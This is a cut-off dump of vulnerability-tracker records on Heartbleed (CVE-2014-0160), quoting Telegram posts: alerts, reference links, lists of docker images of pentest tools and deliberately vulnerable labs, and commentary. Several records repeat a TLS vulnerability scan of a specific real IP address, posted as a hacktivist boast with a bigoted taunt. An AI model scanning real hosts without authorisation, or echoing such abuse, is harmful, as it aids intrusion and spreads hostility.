"https://t.me/jokerssec/1351", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T03:00:05.000000Z"}, {"uuid": "6bed912e-c828-4be5-bf23-9a1079c82173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "published-proof-of-concept", "source": "https://t.me/pt_soft/70", "content": "\ud83d\udcbb Docker \u043e\u0431\u0440\u0430\u0437\u044b \u0434\u043b\u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432\n\n\u25aa\ufe0fOfficial Kali Linux\ndocker pull kalilinux/kali-linux-docker\n******************************\n\u25aa\ufe0fOfficial OWASP ZAP\ndocker pull owasp/zap2docker-stable\n******************************\n\u25aa\ufe0fOfficial WPScan\ndocker pull wpscanteam/wpscan\n******************************\n\u25aa\ufe0fOfficial Metasploit\ndocker pull metasploitframework/metasploit-framework\n******************************\n\u25aa\ufe0fDamn Vulnerable Web Application (DVWA)\ndocker pull citizenstig/dvwa\n******************************\n\u25aa\ufe0fVulnerable WordPress Installation\ndocker pull wpscanteam/vulnerablewordpress\n******************************\n\u25aa\ufe0fVulnerability as a service: Shellshock\ndocker pull hmlio/vaas-cve-2014-6271\n******************************\n\u25aa\ufe0fVulnerability as a service: Heartbleed\ndocker pull hmlio/vaas-cve-2014-0160\n******************************\n\u25aa\ufe0fSecurity Ninjas\ndocker pull opendns/security-ninjas\n******************************\n\u25aa\ufe0fArch Linux Penetration Tester\ndocker pull noncetonic/archlinux-pentest-lxde\n******************************\n\u25aa\ufe0fDocker Bench for Security\ndocker pull diogomonica/docker-bench-security\n******************************\n\u25aa\ufe0fOWASP Security Shepherd\ndocker pull ismisepaul/securityshepherd\n******************************\n\u25aa\ufe0fOWASP WebGoat Project docker image\ndocker pull danmx/docker-owasp-webgoat\n******************************\n\u25aa\ufe0fOWASP NodeGoat\ndocker pull vulnerables/web-owasp-nodegoat\n******************************\n\u25aa\ufe0fOWASP Mutillidae II Web Pen-Test Practice Application\ndocker pull citizenstig/nowasp\n******************************\n\u25aa\ufe0fOWASP Juice Shop\ndocker pull bkimminich/juice-shop\n******************************\n\u25aa\ufe0fDocker Metasploit\ndocker pull phocean/msf\n\n#docker #pentest #images #useful\n\n// Pentest HaT \ud83c\udfa9", "creation_timestamp": "2023-08-20T15:48:59.000000Z"}, {"uuid": "7bd23105-bd0a-48c8-8552-b68b5785b8e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/arpsyndicate/1919", "content": "#ExploitObserverAlert\n\nCVE-2014-0160\n\nDESCRIPTION: Exploit Observer has 660 entries related to CVE-2014-0160. The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.\n\nFIRST-EPSS: 0.975310000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-12-18T05:18:13.000000Z"}, {"uuid": "8fa191e1-998c-4689-8402-cf108ce9940e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/arpsyndicate/1184", "content": "#ExploitObserverAlert\n\nCVE-2014-0160\n\nDESCRIPTION: Exploit Observer has 660 entries related to CVE-2014-0160. The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.\n\nFIRST-EPSS: 0.975310000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-12-04T10:50:03.000000Z"}, {"uuid": "08b55b4c-a9ea-4e74-8b16-c674fe561203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/arpsyndicate/235", "content": "#ExploitObserverAlert\n\nCVE-2014-0160\n\nDESCRIPTION: Exploit Observer has 650 entries related to CVE-2014-0160. The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.\n\nFIRST-EPSS: 0.975180000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-11-17T07:59:48.000000Z"}, {"uuid": "822a83ba-0e40-4808-aeee-a2f860a2bdf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/arpsyndicate/33", "content": "#ExploitObserverAlert\n\nCVE-2014-0160\n\nDESCRIPTION: Exploit Observer has 652 entries related to CVE-2014-0160. The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.\n\nFIRST-EPSS: 0.975180000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-11-09T15:27:12.000000Z"}, {"uuid": "1ffd6ef6-61c1-49f8-bb27-db2c3903c90a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/arpsyndicate/1571", "content": "#ExploitObserverAlert\n\nCVE-2014-0160\n\nDESCRIPTION: Exploit Observer has 660 entries related to CVE-2014-0160. The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.\n\nFIRST-EPSS: 0.975310000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-12-08T13:49:27.000000Z"}, {"uuid": "cb5817e3-cfd2-4240-a7a9-5d619d44b1fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/arpsyndicate/655", "content": "#ExploitObserverAlert\n\nCVE-2014-0160\n\nDESCRIPTION: Exploit Observer has 656 entries related to CVE-2014-0160. The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug.\n\nFIRST-EPSS: 0.975310000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-11-28T14:38:14.000000Z"}, {"uuid": "21171f20-ee06-4ddf-88e0-008e5fc4f238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/fucklulzsecisrahell/6294", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T02:55:48.000000Z"}, {"uuid": "2fffaff4-0ec0-48ab-b647-97cd6e30b076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/marianaalecu/3622", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T00:48:21.000000Z"}, {"uuid": "9db44066-f343-48ba-8a03-3d38ef037103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/thegoodfatherag/8840", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T03:24:44.000000Z"}, {"uuid": "66b1c33f-a603-4851-a2a5-e131bfac75a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "published-proof-of-concept", "source": "https://t.me/NewBlood_Project/446", "content": "Docker Containers of Intentionally Vulnerable Systems\n\n* Damn Vulnerable Web Application DVWA \ndocker pull citizenstig/dvwa\n\n* OWASP Juice Shop \ndocker pull bkimminich/juice-shop\n\n* OWASP Mutillidae II Web Pen-Test Practice Application \ndocker pull citizenstig/nowasp\n\n* OWASP NodeGoat \ndocker-compose build && docker-compose up\n\n* OWASP Security Shepherd \ndocker pull ismisepaul/securityshepherd\n\n* OWASP WebGoat Project 7.1 docker image \ndocker pull webgoat/webgoat-7.1\n\n* OWASP WebGoat Project 8.0 docker image \ndocker pull webgoat/webgoat-8.0\n\n* Vulnerability as a service: Heartbleed \ndocker pull hmlio/vaas-cve-2014-0160\n\n* Vulnerability as a service: SambaCry \ndocker pull vulnerables/cve-2017-7494\n\n* Vulnerability as a service: Shellshock \ndocker pull hmlio/vaas-cve-2014-6271\n\n* Vulnerable WordPress Installation \ndocker pull wpscanteam/vulnerablewordpress\n\n\nDocker Containers of Penetration Testing Distributions and Tools\n\n* Docker Bench for Security \ndocker pull diogomonica/docker-bench-security\n\n* Official Kali Linux \ndocker pull kalilinux/kali-linux-docker\n\n* Official OWASP ZAP  \ndocker pull owasp/zap2docker-stable\n\n* Official WPScan \ndocker pull wpscanteam/wpscan\n\n* Security Ninjas \ndocker pull opendns/security-ninjas\n\n* docker-metasploit \ndocker pull phocean/msf", "creation_timestamp": "2023-03-18T23:40:27.000000Z"}, {"uuid": "eeefa9ac-3a3b-4842-a82c-121a938d1bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/BABATATASASA/5550", "content": "References\nhttp://heartbleed.com/\nhttp://seclists.org/oss-sec/2014/q2/22\nhttp://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=96db902\nhttps://tools.ietf.org/html/rfc6520\nhttp://www.openssl.org/news/openssl-1.0.1-notes.html\nhttp://www.hut3.net/blog/cns---networks-security/2014/04/14/bugs-in-heartbleed-detection-scripts-\nhttp://blog.cryptographyengineering.com/2014/04/attack-of-week-openssl-heartbleed.html\nhttp://blog.fox-it.com/2014/04/08/openssl-heartbleed-bug-live-blog/\nhttps://www.cert.fi/en/reports/2014/vulnerability788210.html\nhttp://xkcd.com/1354/\nhttps://code.google.com/p/mod-spdy/issues/detail?id=85\nhttp://www.exploit-db.com/exploits/32745/\nhttps://access.redhat.com/security/cve/CVE-2014-0160\nhttp://www.ubuntu.com/usn/usn-2165-1/\nhttp://www.freshports.org/security/openssl/\nhttps://blog.torproject.org/blog/openssl-bug-cve-2014-0160", "creation_timestamp": "2023-10-05T19:17:32.000000Z"}, {"uuid": "6fcb4fa6-bf41-4b3e-a272-52daa04641de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/information_security_channel/9760", "content": "A2SV is a Python-based SSL Vulnerability focused tool that allows for auto-scanning and detection of the common and well-known SSL Vulnerabilities.\n\nSSL Vulnerabilities Detected by A2SV\n[CVE-2007-1858] Anonymous Cipher\n[CVE-2012-4929] CRIME(SPDY)\n[CVE-2014-0160] CCS Injection\n[CVE-2014-0224] HeartBleed\n[CVE-2014-3566] SSLv3 POODLE\n[CVE-2015-0204] FREAK Attack\n[CVE-2015-4000] LOGJAM Attack\n[CVE-2016-0800] SSLv2 DROWN\nPlanned for future:\n[PLAN] SSL ACCF\n[PLAN] SSL Information Analysis\nInstallation & Requirements for A2SV\nA.\nRead the rest of A2SV \u2013 Auto Scanning SSL Vulnerability Tool For Poodle & Heartbleed now! Only available at Darknet. (https://www.darknet.org.uk/2017/10/a2sv-auto-scanning-ssl-vulnerability-tool-poodle-heartbleed/)", "creation_timestamp": "2017-10-09T18:29:26.000000Z"}, {"uuid": "bae04436-cdf5-471b-9066-f497c81f1c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/information_security_channel/41420", "content": "CERT/CC Seeks to Remove Fear Element From Named Vulnerabilities\nhttp://feedproxy.google.com/~r/Securityweek/~3/Jn63VRyIpKE/certcc-seeks-remove-fear-element-named-vulnerabilities\n\nMost people will immediately recognize CVE-2014-0160 as a vulnerability, but few will know which vulnerability it refers to. Call it Heartbleed (https://www.securityweek.com/why-heartbleed-vulnerability-matters-and-what-do-about-it), however, and more people will know more about it. That's the strength of natural language over numbers -- humans remember words more easily than numbers.\nread more (https://www.securityweek.com/certcc-seeks-remove-fear-element-named-vulnerabilities)", "creation_timestamp": "2020-11-03T20:48:45.000000Z"}, {"uuid": "31e1a3e9-a9fd-4cce-9a45-afc1edbd82b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/reverseame/4752", "content": "Heartbleed \u2014 A deep dive into CVE-2014\u20130160 #Heartbleed #CVE20140160 #OpenSSL #Metasploit #SecureCoding https://medium.com/@misterxcrypt/heartbleed-a-deep-dive-into-cve-2014-0160-9b9f730601ec", "creation_timestamp": "2026-08-03T02:13:58.443222Z"}, {"uuid": "31291df8-1152-40bc-880c-3d3a23aa14b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/1902", "content": "#Analytics\nTop-10 exploited vulnerabilities in January-July 2020:\n1. MVPower DVR Remote Code Execution*\n2. Dasan GPON Router Authentication Bypass (CVE-2018-10561)*\n3. OpenSSL TLS DTLS Heartbeat Information Disclosure (CVE-2014-0160; CVE-2014-0346)\u00a0\n4. HTTP Headers Remote Code Execution (CVE-2020-13756)*\n5. Arbitrary code execution vulnerability in Citrix VPN (CVE-2019-19781)*\n6. Draytek Vigor Command Injection (CVE-2020-8515)*\n7. Command Injection Over HTTP Payload\n8. SQL Injection (several techniques)\n9. RCE on MS Exchange Server (CVE-2020-0688)*\n10. Web Server Exposed Git Repository Information Disclosure\n\n* - Description/PoC available on Cybersecurity Technologies channel ...", "creation_timestamp": "2020-12-18T17:23:40.000000Z"}, {"uuid": "41aef4b2-c546-43a0-bbb9-92e940ccfac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/hn_best_comments/19085", "content": "Re: The Bogus CVE Problem\n        \nThis resonates. Unfortunately, the CVE database(s) are too noisy to be useful. It could benefit from higher standards and more thorough vetting. (Maybe take some lessons from academia.)\n\nA \"security researcher\" once filed a CVE for a regular bug in Caddy [0], making claims that were totally provably false. It was assigned 7.5... the same as Heartbleed [1] -- yes, the one that leaked almost all the private encryption keys on the Internet back in 2014. When I appealed to NVD for retraction (or whatever they do in this case), I never heard back, despite several emails / form submissions. It is not well-maintained. It is poorly managed. There is virtually no oversight. NVD is a trainwreck.\n\nMore recently I inadvertently discovered a 0-day RCE in acme.sh [2]. (ACME clients are security-sensitive contexts since they typically deal with private keys and download signed credentials.) Anyway, it was assigned a CVSS 3.x score of * 9.8 * [3] -- I imagine that should be like \"cyber-nuclear meltdown\" territory, but no, this was actually benign as far as we can tell. Probably deserves more like a 4 or 5 or something. So, again: There is virtually no oversight. NVD is a trainwreck.\n\nAnyway, the whole system is broken, and I'm effectively ignoring CVEs now. But if someone just tells me to patch my , I'll probably do it, and that's good enough for me.\n\n[0]: https://github.com/caddyserver/caddy/issues/4775\n\n[1]: https://nvd.nist.gov/vuln/detail/cve-2014-0160\n\n[2]: https://matt.life/writing/the-acme-protocol-in-practice-and-reality\n\n[3]: https://nvd.nist.gov/vuln/detail/CVE-2023-38198\n        \nmholt, 1 day ago", "creation_timestamp": "2026-08-02T00:01:12.060489Z"}, {"uuid": "7d5708a1-1403-4a3d-b5e8-85a21027552d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/sysodmins/25471", "content": "\ud83d\ude31 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0423\u0434\u0430\u0440 \u043f\u043e \u041a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u0443: \u0421\u0428\u0410 \u041e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u0424\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 CVE.\n\n\u041f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0421\u0428\u0410 (\u0447\u0435\u0440\u0435\u0437 DHS/CISA) \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442 \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b CVE (Common Vulnerabilities and Exposures), \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f MITRE. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\u0441\u0442\u0451\u043a \u0432\u0447\u0435\u0440\u0430, 16 \u0430\u043f\u0440\u0435\u043b\u044f. \u0414\u0430, *\u0442\u043e\u0439 \u0441\u0430\u043c\u043e\u0439* \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b CVE, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0441\u0432\u0430\u0438\u0432\u0430\u0435\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b (CVE-2014-0160, CVE-2017-5754 \u0438 \u0442.\u0434.) \u0432\u0441\u0435\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u043c\u0438\u0440\u043e\u0432\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u0441\u043e\u0444\u0442\u0435 \u0438 \u0436\u0435\u043b\u0435\u0437\u0435.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0430 